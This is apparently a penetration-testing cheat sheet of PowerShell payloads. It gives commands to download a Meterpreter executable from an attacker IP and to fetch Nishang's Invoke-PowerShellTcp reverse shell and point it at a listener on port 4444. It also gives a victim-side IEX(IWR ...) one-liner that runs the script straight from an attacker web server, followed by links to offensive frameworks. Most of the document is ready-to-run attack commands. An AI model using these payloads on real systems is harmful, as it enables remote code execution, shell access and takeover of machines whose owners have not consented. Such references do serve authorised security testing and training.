# Powershell Payloads

## cURL

```powershell
$URL="http://10.9.254.6/meterpreter.exe"
$Path="C:\Users\pentest\meterpreter.exe"

Invoke-WebRequest -URI $URL -OutFile $Path
```

## Reverse Shell

{% code overflow="wrap" %}

```
curl https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 > rev.ps1
```

{% endcode %}

Add the following line at the end of the script to invoke the function, adjusting args...

```
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
```

Start a web server

```
python3 -m http.server
```

Download and exectute the powershell script from attacker web server (on victim machine)

```
 powershell.exe (IEX(IWR http://10.10.14.5:8000/rev.ps1 -UseBasicParsing))
```

## Projects

### HackTricks

{% embed url="<https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters>" %}

### Nishang

Framework and collection of payloads for offensive security and pentesting

{% embed url="<https://github.com/samratashok/nishang>" %}

### Powersploit

Project is no longer supported

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}


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